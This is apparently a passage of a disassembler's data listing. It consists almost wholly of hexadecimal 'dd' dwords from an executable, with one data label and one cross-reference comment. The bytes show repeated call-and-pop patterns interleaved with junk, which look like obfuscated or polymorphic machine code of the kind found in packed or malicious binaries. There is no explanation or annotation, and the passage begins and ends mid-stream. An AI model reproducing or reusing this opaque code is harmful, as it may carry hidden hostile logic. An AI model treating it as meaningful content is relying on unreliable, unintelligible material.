7BC637h, 48h dup(0) dd 850BA700h, 79551BB1h, 0F6D123E6h, 0C22E941Bh, 4275C739h dd 10C5B9F4h, 2760795Ch, 3ED52EE5h, 0D038B44Ch, 745D07BCh dd 0BFCA66EAh, 0D835CD48h, 53268B24h, 1F80BEE6h, 57031617h dd 23C124EFh, 0D06AB84Dh, 7B5B05BCh, 0A5CA66E9h, 0C228D248h dd 4F388B3Bh, 0B97A5F8h, 63607D19h, 23C533A3h, 0D138F55Ch dd 6F5B10F2h, 0A3D366FFh, 0CC28D307h, 853Bh, 61h dup(0) dd 0CC0CA700h, 79140CBEh, 0A4D134E2h, 0C93FC018h, 7E758577h dd 5296A3FDh, 60616E49h, 70CD20F1h, 8539F540h, 74510CB0h dd 0BFC22BADh, 0C12FC401h, 4E30DF37h, 168BABB5h, 7E6F7119h dd 5DAA24E1h, 0D66DE041h, 7C5A00F2h, 0B4D725E8h, 0D438940Ch dd 7C75CA76h, 190B8FCh, 277C7319h, 33C133E0h, 8B2EF143h dd 735C3DF2h, 0B8C566FEh, 0DA7AD104h, 5E72C539h, 8ABDB5h dd 696F3C52h, 22CF2CFAh, 0BA4Dh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2ECFE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0FC5EAE91h, 19C2DEBh, 0E9018985h dd 72BABA05h, 6AFC5509h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 5985C352h, 0F6C28107h dd 8B640AA6h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 7483FFEh, 0E18589h, 0BD8305E9h, 5E9164Dh dd 83097500h, 0E91121BDh, 13740005h, 0C08B5350h, 1B8h dd 669D8D00h, 0FF05EBB7h, 83585BD3h, 0E91121BDh, 11740005h dd 1B85350h, 8D000000h, 0EBB6179Dh, 5BD3FF05h, 29958B58h dd 0F05E911h, 118Fh, 8E800h, 7670000h, 7C6BAB21h, 0B70F6B37h dd 9D8B5BD9h, 5E921C1h, 2820Fh, 0D98A0000h, 9D8BC08Bh dd 5E90359h, 12B1BD83h, 0F0005E9h, 1A584h, 83FD8A00h, 0E92A95BDh dd 840F0005h, 196h, 0D6816660h, 8E0FDAF0h, 6, 272D858Bh dd 606105E9h, 12E8h, 235CDC00h, 7886F233h, 66E6EC6h, 0D3676FBEh dd 89582490h, 0E90539B5h, 858B5A05h, 5E92A95h, 0BB02AEBAh dd 0D6CF8048h, 3E805h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0FA0D4583h, 0F6090FCh dd 28Ch, 61D08B00h, 5B539050h, 4E22858Dh, 8D8905E9h, 5E910BDh dd 0E9565090h, 12h, 835DB707h, 2AB22767h, 0BDB7E72Ch, 0FAE3B8A8h dd 905A0243h, 8F59589h, 858D05E9h, 5E94E00h, 5E59D2Bh dd 895005E9h, 9D892404h, 5E93079h, 3A595FFh, 816605E9h dd 66671FC3h, 0C483DF8Bh, 54E2810Ch, 8D1C2F42h, 0E94E0085h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 87A01D45h, 82FAC0CEh, 9E85072h, 0E5000000h dd 2D26ABD6h, 6894AD29h, 2859D89h, 905B05E9h, 15BA6651h dd 60505B75h, 0F525050h, 58585A31h, 12E9h, 652D2A00h, 7ABB0804h dd 5149AD3Ch, 433527C0h, 61FA94E7h, 7E990h, 47270000h dd 0EB5FC3C6h, 89026A46h, 0E90729B5h, 7495FF05h, 0BA006885h dd 6A67DA8Ch, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 25C20E5Fh, 5678DB1Ah, 12E9h, 23345B00h dd 0F02E184Bh, 172511AFh, 8F5F47A6h, 5BBD8E42h, 85C733B6h dd 5E94E33h, 1, 0FA19D2Bh, 519605E9h, 505BF78Ah, 28A0Fh dd 0D08B0000h, 0DA816696h, 0B589163Eh, 5E94DE4h, 0AEBBB1B7h dd 83751C10h, 0E901BDBDh, 850F0105h, 3Eh, 0F05F883h, 3585h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0A19D8B2Bh, 5005E91Ch, 0CAD958Bh, 0B85A05E9h dd 0 dd 22398D89h, 0BD8305E9h, 5E92681h, 5B840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 3B72C355h, 15AA6C17h, 0D4162A5Ch, 9D9D8960h dd 0F805E90Ah, 0A0EB8161h, 0B87EB64Fh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 57C35242h dd 1A0CB4DDh, 6660015Ch, 858BD98Bh, 5E93055h, 0C083FE8Ah dd 8589F902h, 5E94DDCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 3C35343h, 0ED239685h, 9589200Eh, 5E90BD9h dd 0BBFF00C6h, 599B7FAFh, 0D3D8D89h, 85C605E9h, 5E90EE5h dd 95896053h, 5E90CF9h, 6861D98Ah, 0DCF13512h, 4811CB7h dd 0C013C624h, 51006A1Fh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 3AB5911h, 14E9h, 5E8AA300h dd 0EE4AC20h, 103C8F79h, 4FFF5504h, 0BCF0854Dh, 0FF33BB52h dd 0B5FF2DF6h, 5E91EFDh, 8DD2BF0Fh, 0EC7A6F85h, 0B59D8905h dd 0FF05E91Dh, 6850FD0h, 89000000h, 0E91F91BDh, 95858905h dd 6A05E91Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 1EFBC351h, 0D21C0508h, 7166CED5h dd 2C01BD83h, 0F0105E9h, 0B985h, 0C3DA8000h, 0F78B6061h dd 1880Fh, 61FC0000h, 0EE585C6h, 0E84505E9h, 10h, 9C43FCF6h dd 0E8533EE3h, 71AA30D6h, 873EAF77h, 2B99B531h, 685A05E9h dd 0B1C772FBh, 0C7240481h, 6A2898C5h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F182C351h dd 17D9D8Bh, 0B58905E9h, 5E90BA1h, 1EFDB5FFh, 895205E9h dd 0E919B585h, 858D5B05h, 5EC7A6Fh, 2499958Bh, 0D0FF05E9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 9FC35242h dd 0C1C25299h, 0C603AD5Eh, 2A79BD89h, 6A05E9h, 0BAD8D89h dd 0D0FF05E9h, 0BD83DF8Bh, 5E90295h, 0F5850F01h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0F1DCC350h, 0D29130C3h, 5173A4F8h, 5ADEBF0Fh dd 3055858Bh, 8E905E9h, 44000000h, 24C61E91h, 0E92C4A86h dd 79h, 90D6B70Fh, 310F5250h, 44FC5EBBh, 50585A5Dh, 90D88B66h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D7C35343h dd 936610CEh, 0A9950BC9h, 6605E90Bh, 146AD18Bh, 49F0E381h dd 95FF4C1Bh, 5E91E95h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 74C35646h, 0F56A0C24h, 1229958Bh, 8B5805E9h dd 0E91D8595h, 388005h, 0FF81850Fh, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 89B069C3h dd 26E18589h, 958B05E9h, 5E921E9h, 0BB0100C6h, 5D8FC0BEh dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 3039309Bh, 8B612477h, 0E921BD9Dh, 69F28005h dd 701958Bh, 0BD8305E9h, 5E901B5h, 6B840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 2405C353h, 0FFD44FFh, 68Eh, 21BD2900h, 105E92Ah dd 0E92B8985h, 66FF6A05h, 3BC0EB81h, 1E9595FFh, 8EBA05E9h dd 0E92D161Ah, 0FFFFFFE9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0C1C35545h, 6303B8C8h, 85C7F58Ah, 5E901B5h dd 1, 0A39AE2BBh, 0E8858934h, 8B05E94Dh, 0E90F459Dh, 50605005h dd 0FC28B52h, 5A616031h, 2745BF58h, 89612655h, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0D2E04AC3h, 22F98589h, 606005E9h, 1679958Bh, 6A6105E9h dd 6D9D3105h, 8D05E90Eh, 0E94E0085h, 18BB6605h, 0F88A9088h dd 7E850h, 1A430000h, 1C31F989h, 0DE95Eh, 814C0000h, 0B0EC698h dd 7D286FCh, 5BB84962h, 858DFC90h, 5E94DF0h, 6820Fh, 95010000h dd 5E905C5h, 0B64AF281h, 0B7901595h, 0AE8500Fh, 78000000h dd 484CF16Fh, 0EEE2F58Ah, 5A5B5780h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F4B27B9Bh dd 0F8995FFh, 816605E9h, 8DBC98CAh, 0E97C728Dh, 4D9D8B05h dd 0B05E90Bh, 8D1174C0h, 0E94E0085h, 0D1FF5005h, 4E1E8589h dd 0AEB05E9h, 4E1E85C7h, 0FFFF05E9h, 6AFFFFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0E3BBAFC3h dd 48BBE14Fh, 6A50523Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 72CC353h, 0C3E922Ch dd 89DC6EE4h, 0E9080D95h, 7D850105h, 6105E926h, 0C6D18B66h dd 0E90EE585h, 13E94D05h, 8A000000h, 0B1F39B5Bh, 0DAB35DA7h dd 69D6C36Fh, 0F7E7EC18h, 6268B222h, 52505BAFh, 5ADA8B66h dd 46240481h, 6A53D9C7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0DCDDC357h, 0B05C1B1Ch dd 106CA522h, 0BB5958Bh, 36005E9h, 0E90E9DBDh, 13E905h dd 5E830000h, 0A133683Fh, 0B8C973E9h, 7E50C58Ah, 0E6B8359Ah dd 0B5FF61F9h, 5E91E71h, 189256BAh, 6F858D39h, 6A05EC7Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0EDE3C355h, 7854EECEh, 81667594h, 0FF770DC2h dd 658D09D0h, 8905E912h, 0E91DA585h, 199D0305h, 0C605E927h dd 0E90EE585h, 958B4505h, 5E9104Dh, 4E8h, 72696900h, 50D48A8Eh dd 2840Fh, 0D98B0000h, 424448Bh, 8BD18Bh, 4489D68Bh, 3580424h dd 0E91D6995h, 0FDB5FF05h, 6005E91Eh, 9D01CF8Bh, 5E923B1h dd 29958B61h, 8D05E90Ch, 0EC7A6F85h, 0C58D0105h, 6605E92Ah dd 54C3E281h, 0CE8D0FFh, 20000000h, 0D3DB537Fh, 73F2EE04h dd 5A6D9EA8h, 17618589h, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0FD432BC3h, 12E8F5h dd 84650000h, 265FA83Ah, 0F568E1A9h, 0F2AC26B8h, 58317D19h dd 8B0Fh, 895A0000h, 0E9227DB5h, 6AD28B05h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 74EDC356h dd 6860Fh, 8D310000h, 5E91621h, 52D98C66h, 14E960h, 0C0B80000h dd 0BEE31C44h, 0A78A82A2h, 0EBC3322Ch, 58D5CC7Ah, 810F0F23h dd 0 dd 0C1F65B61h, 61840F04h, 81000002h, 83487CCBh, 135E96Bh dd 0BAB60000h, 1D19B58Bh, 6A05E9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0AAC7BDC3h, 0C6812BBEh dd 1180h, 99CFE281h, 0BD837F7Eh, 5E93095h, 74850F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 9B6C356h, 0DEB772D3h, 810F0399h, 6, 6859D8Bh dd 0B7E905E9h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0FF58C350h, 12E8F368h dd 0B5000000h, 5B676743h, 8EAA7786h, 0B1EFC155h, 895680EBh dd 0D98B668Dh, 499D8B5Ah, 8305E92Bh, 840F003Eh, 6Eh, 66DEB70Fh dd 8505EB81h, 0D5958960h, 2905E924h, 0E90B89BDh, 81146A05h dd 0C533D0E2h, 9595FF01h, 0E805E91Eh, 13h, 42BB70BCh, 0C8811C02h dd 36F9AF8h, 0BAF9F008h, 31E27A39h, 0E9318D85h, 6A615B05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 7CF1C352h, 6B157375h, 8CE92636h, 66FFFFFFh dd 6C7D68Bh, 1, 83D6BF0Fh, 0E94DE8BDh, 850F0505h, 114h dd 0FD18EA81h, 0B58B057Ch, 5E91761h, 2AC59D89h, 64B905E9h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0B408C350h, 0EBFDB109h, 0BA66B62Ch dd 3E809579h, 49840FE8h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 36BCC356h dd 29952B71h, 0E92561B5h, 31E905h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 7B49F7C3h dd 0C2057E80h, 41840Fh, 0DA800000h, 219D8B7Bh, 4605E90Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 74C35242h dd 0D9BF0F06h, 73850F49h, 66FFFFFFh, 5423C281h, 3FE9h dd 1BF38100h, 89157F7Ch, 0E91D89B5h, 9E805h, 0BBF10000h dd 1D23061Dh, 2917653Eh, 0E905C59Dh, 8F0F5B05h, 18h, 0C7816660h dd 0CE97880h, 23000000h, 0C287A43Ch, 31EC8224h, 61B9B0B9h dd 0B5896058h, 5E92581h, 49BD8361h, 5E911h, 0EB840Fh, 0BD890000h dd 5E90ED9h, 0F2816660h, 85C678B4h, 5E90EE5h, 0D18B6654h dd 28119D0Bh, 976805E9h, 56D75A02h, 5BB0B756h, 2434815Ah dd 2814BC63h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0F5C35545h, 8960625Ah, 0E92D298Dh, 0E18D2905h dd 6105E924h, 1EFDB5FFh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 4BA940C3h, 0E40D375Eh dd 13E909h, 1B8A0000h, 7E73C832h, 613A6F5Bh, 0F5840EC9h dd 0DC85E1BCh, 6F858D24h, 6A05EC7Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 94BDC350h dd 8D01D0FFh, 5E9178Dh, 0CB81006Ah, 1B87FEEFh, 1149B5FFh dd 890F05E9h, 6, 7999D31h, 0D0FF05E9h, 8B61DF8Bh, 0E92F4595h dd 0F185C705h, 105E91Ch, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8FF3C350h dd 86557596h, 0BD898259h, 5E92A35h, 52006A60h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 89D4C335h dd 7D15D5E3h, 0B5897E55h, 5E93201h, 8AB7C68h, 0C802BA29h dd 34814182h, 8ABFC24h, 95896029h, 5E92BADh, 6499529h dd 6A6105E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 45BBF923h, 0F3FABB5h, 687h, 0C1958B00h dd 8B05E91Eh, 0E905F995h, 7595FF05h, 6A05E926h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0FFE7C353h, 0C283321h, 8B813C2Eh, 0E9174995h, 6AB6BB05h dd 56610C1Eh, 1468BA66h, 0E7BA505Bh, 893D1CC9h, 0D8B62404h dd 2D61858Bh, 958B05E9h, 5E9220Dh, 109D958Bh, 0C00B05E9h dd 31840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0B05F22C3h, 0D32FF96Fh, 0FFD2C280h dd 0E90F9195h, 3DBD0105h, 0C705E930h, 0E9127D85h, 105h dd 0DFBF0F00h, 10C1BD83h, 0F0005E9h, 2C84h, 1950B00h, 0FF05E931h dd 0E92BF195h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 7CA5B258h, 0DDBD8329h dd 5E91Ch, 1F840Fh, 0C2810000h, 3EBF938h, 4D952952h, 5B05E90Bh dd 266995FFh, 8B6005E9h, 0E904358Dh, 0F8B70F05h, 5DBD8361h dd 5E911h, 62840Fh, 9D2B0000h, 5E90F95h, 699D8Bh, 0BD8305E9h dd 5E9273Dh, 49850F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A58CC350h dd 99A10396h, 0BC8C8CFCh, 304D8D31h, 0DE905E9h, 0C2000000h dd 1350905Fh, 0D2085FDh, 59C8B827h, 23995FFh, 958B05E9h dd 5E923BDh, 0E85BD83h, 0F0005E9h, 4A84h, 0EDB52900h, 8105E911h dd 0E923B985h, 400305h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8581A97Ch, 5E905ADh, 4003h dd 39BD8B60h, 8B05E917h, 0E9236585h, 81666105h, 0FB987DBh dd 9E95231h, 1B000000h, 635B32B4h, 0B6D54A79h, 128D8D5Ah dd 6605E95Eh, 95BBD08Bh, 89587343h, 7D9D8901h, 3305E924h dd 4189F8C2h, 1D9D8B04h, 8B05E904h, 0E92F2195h, 81310F05h dd 36EFF7D2h, 398D8D7Ah, 6A05E95Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0EECEC356h dd 8B667854h, 3870FD6h, 0F000000h, 189D6B7h, 0CE960h, 54C70000h dd 0EFB7D9A3h, 7864D857h, 0E960FD04h, 0Bh, 5D2238E3h, 6661E140h dd 0B921112h, 0E901D595h, 33616105h, 0B1DE80C2h, 0BA044189h dd 159F7DF5h, 5EDBD83h, 0F0005E9h, 6084h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 9E974CEh, 0F8000000h, 3DB2C0D6h, 0C76369E3h, 6820Fh dd 95890000h, 5E90505h, 0B9595FFh, 6A05E9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0BE8F8BC3h dd 0F68042B6h, 31BD8302h, 105E912h, 67850Fh, 8E0F0000h dd 15h, 10E9h, 50503700h, 0C4689A53h, 2AB86936h, 0E652F57Ah dd 47E933h, 81660000h, 8B8C6CDAh, 0E95F98B5h, 6C705h, 8B000000h dd 0E95D2BB5h, 6C705h, 0CF000000h, 6CB440BBh, 50006A2Eh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 60AB1049h, 0D487B866h, 7DBD8361h, 5E912h, 17C840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 3DBA35C3h, 603E01BDh, 65C18166h, 4820FB6h dd 66000000h, 61536EB9h, 2531BD83h, 0F0105E9h, 10C85h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0D39F0C07h, 6678A008h, 1717C381h, 4DDC8D8Bh dd 296005E9h, 0E91E118Dh, 43E78105h, 614D377Fh dd 6A0001C6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0FBC4C351h, 0BA7DF380h, 406E9C08h dd 0DA8B6660h, 0A1653068h, 1379BB1Ch, 34815746h, 0A165B024h dd 14E81Ch, 0ADFE0000h, 41C2D223h, 182DEF8Dh, 25E9C30h dd 9E20A020h, 8D89E815h, 5E92BA5h, 37BE605Ah, 615D4F00h dd 958BFF6Ah, 5E90059h, 267595FFh, 6A05E9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D2922C3h dd 5E9191Dh, 19B1BA61h, 95FF76EFh, 5E932B1h, 62F38166h dd 0D6BB6610h, 0DC8D8BC6h, 6A05E94Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 6E89C357h dd 8B6601FEh, 95BD83DEh, 105E931h, 24850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 1AD098C3h, 0F2816618h, 0C08B4F0Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 92C35545h, 0C91A03E1h, 0BA554051h dd 27591634h, 0A25CBB66h, 164DBD83h, 750005E9h, 21BD8309h dd 5E911h, 53501A74h, 858BC08Bh, 5E923B9h, 23B98589h, 9D8D05E9h dd 5EBB8C4h, 585BD3FFh, 1121BD83h, 740005E9h, 8B535018h dd 0E923B985h, 0B9858905h, 8D05E923h, 0EBB5B39Dh, 5BD3FF05h dd 29858958h, 0F05E918h, 0C08BD8BFh, 30459509h, 0B58905E9h dd 5E9108Dh, 127DBD83h, 0F0005E9h, 2985h, 59858900h, 8305E92Bh dd 0E92569BDh, 840F0005h, 16h, 0EE8h, 0D91E5A00h, 8E0542A4h dd 11551EFEh, 8A69AC13h, 0BD835BD0h, 5E9127Dh, 16840F00h dd 89000000h, 0E905D1B5h, 69BD8305h, 5E92Bh, 3840Fh, 0BF0F0000h dd 7DBD83DEh, 5E912h, 21840Fh, 840F0000h, 5, 90ED59BAh dd 6D958977h, 8305E91Eh, 0E92B69BDh, 840F0005h, 3 dword_544450 dd 83D6B70Fh, 0E9127DBDh, 840F0005h, 32h, 3175958Bh, 0BD8305E9h ; DATA XREF: ___:off_43CCF4o dd 5E90DD9h, 1F840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0EB5EC350h dd 0BD836D97h, 5E9127Dh, 27840F00h, 89000000h, 0E92301B5h dd 0A1BD8305h, 5E906h, 14840Fh, 95010000h, 5E90265h, 1CB995FFh dd 9D8B05E9h, 5E90B01h, 0C08BDE8Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0BDC35040h, 4E2349CFh, 4FB50155h dd 0DE9h, 0F820EA00h, 2A027882h, 0A8BE291Ch, 0BD831F23h dd 5E9164Dh, 83097500h, 0E91121BDh, 1A740005h, 0C08B5350h dd 5AD858Bh, 858905E9h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh dd 0BD83585Bh, 5E91121h, 50187400h, 0AD858B53h, 8905E905h dd 0E905AD85h, 0CC9D8D05h, 0FF05EBB5h, 6A585BD3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 4453C356h, 0DE801h, 5710000h, 0F83FEEFBh, 4B3878Bh dd 80C867CEh, 6A5A20F6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 160AC353h, 8F3DE6F4h dd 999D0B30h, 8B05E925h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 662632A1h, 83C3CFBBh dd 0E9127DBDh, 840F0005h, 4DFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 46C35040h, 3462C8BBh, 0B310A1E8h dd 0EE9h, 0F568E100h, 0F2AC26B8h, 58317D19h, 8196F0BFh dd 923B6EEBh, 1BD8360h, 205E92Ch, 1F840Fh, 0DA8B0000h dd 31BD83F9h, 105E912h, 0F850Fh, 0AE90000h, 4F000000h dd 0F4A6F213h, 0D0CE97F6h, 0EDBD8330h, 5E92Ah, 0EC840Fh dd 85010000h, 5E91DD5h, 10959D03h, 6A6005E9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 2E2AC350h, 94D780B2h, 4DDC8D8Bh, 0BD0105E9h, 5E92F35h dd 816601FEh, 0E8FE76F2h, 4, 80h, 8800BA66h, 66525050h dd 310FD68Bh, 585A56B7h, 424448Bh, 8294BA66h, 6652008Bh dd 5B4E32BAh, 4244489h, 6A58D18Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CF58C351h dd 0FF6A413Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 65C35747h, 8589651Fh, 5E9224Dh, 267595FFh, 958B05E9h dd 5E928D9h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 7CEF1687h, 10D2805Bh, 4F19D8Bh, 0F6005E9h dd 8D8BD2B7h, 5E94DDCh, 0F1B7D281h, 1FE4C2Dh, 6893EF80h dd 0CF3BB2E2h, 0E7B25352h, 4815A5Ah, 0C44D9E24h, 52006A30h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 74DC3586h, 958B30D5h, 5E92D41h, 9D2BFF6Ah, 5E92831h dd 267595FFh, 9D8B05E9h, 5E90915h, 0CE8h, 0F0C5EA00h, 157A4A7Ch dd 3BAA72ECh, 0B589502Fh, 5E92F59h, 0E8615A5Bh, 6, 6146023Ch dd 160F59Dh, 0E92A1995h, 7E905h, 0E5500000h, 0D4D2F5FAh dd 8D5B615Eh, 0E925D1BDh, 2890F05h, 0B3000000h, 1C4F8BB0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BC35242h dd 0ED4122B4h, 0DF8B03D4h, 12E9h, 2E3CCD00h, 0EDFDEB2Ch dd 0E1831778h, 0B5723902h, 6A54F972h, 0E4E28101h, 5020942Ah dd 28D0F60h, 8B000000h, 0AE8D1h, 5CB90000h, 0E89CDAEEh dd 4BE969B9h, 615F6160h, 60240C89h, 0FC18B66h, 38Eh, 0F08B6600h dd 70858D61h, 905EC44h, 0E901F1BDh, 6AD0FF05h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 6B7CC353h, 2839789Fh, 27899589h, 4F8B05E9h, 0F2816620h dd 36A87E7h, 0CDB589h, 8A5005E9h, 240C89FEh, 0B9EA8166h dd 70858DA0h, 8105EC44h, 912655F2h, 6AD0FF2Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 81E6C356h, 803E2AC3h, 31958B08h, 8D05E91Fh, 0E925D1BDh dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 725DB46Ch, 0C36345D1h, 0FEBAA2AAh, 5216A696h dd 1D119529h, 8B5B05E9h, 8B661C4Fh, 0AD9589DAh, 6A05E92Bh dd 0AE901h, 0A0760000h, 8CE38AA6h, 0A10396A5h, 0D68B6650h dd 31240C89h, 0E92865BDh, 70858D05h, 0FF05EC44h, 68A0FD0h dd 81000000h, 0E05910DBh, 204F8B49h, 890F036Ah, 14h, 8E8h dd 6F84B800h, 0CC5B254Dh, 719D29C4h, 5A05E92Bh, 0BE9h dd 0CCFFDC00h, 333A91A8h, 7C64CCFBh, 7FBA6691h, 66575011h dd 915AD38Bh, 8DD68B66h, 0EC447085h, 0D0FFF805h, 10FCB8BAh dd 0A1958B09h, 8B05E90Eh, 0E94DDC8Dh, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0B997D716h, 0BC5C72Eh, 1FE6EADh, 1870Fh, 8BFC0000h dd 0E94DDC85h, 958B5605h, 5E91D3Dh, 6A00FE5Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0F2EDC353h, 0DB9B03F0h, 0BB66739Bh, 16ADEC8h, 38A0Fh dd 8B660000h, 4E8DFh, 9FFF0000h, 5250FFFFh, 6E8h, 2894ED00h dd 50D729D7h, 5A310F52h, 310F5A58h, 0B3965CBAh, 50585A4Ah dd 0A0BB6653h, 448B5A6Ch, 5E90424h, 87000000h, 14A9D3EEh dd 4489008Bh, 0CE80424h, 0E9000000h, 0B0593499h, 53AC1D99h dd 5B6FB4F6h, 11E858h, 0A9310000h, 708B33CAh, 1DFFB350h dd 7AC146E2h, 0BBAF80DAh, 286592B2h, 7A858D5Bh, 6605EC44h dd 3055F281h, 3820Fh, 0B70F0000h, 52D0FFD2h, 0C8D0Fh, 7E90000h dd 0FC000000h, 0E22BF8DFh, 835BB794h, 0E92569BDh, 840F0005h dd 0E6h, 0FE9h, 0DB9D5700h, 94751F35h, 343E0AB0h, 6B3E2B84h dd 1BDBD83h, 0F0105E9h, 0C585h, 0E2816600h, 8D8D545Ah dd 5EC4484h, 6AD98B66h, 6DB58903h, 6A05E92Bh, 51006A01h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8BBA58C6h, 0FD1FFDFh, 16ADEBFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 11C35545h, 9D895E9Ah, 5E90D71h dd 6A016Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 4F2CF2C3h, 958B52B0h, 5E91CADh, 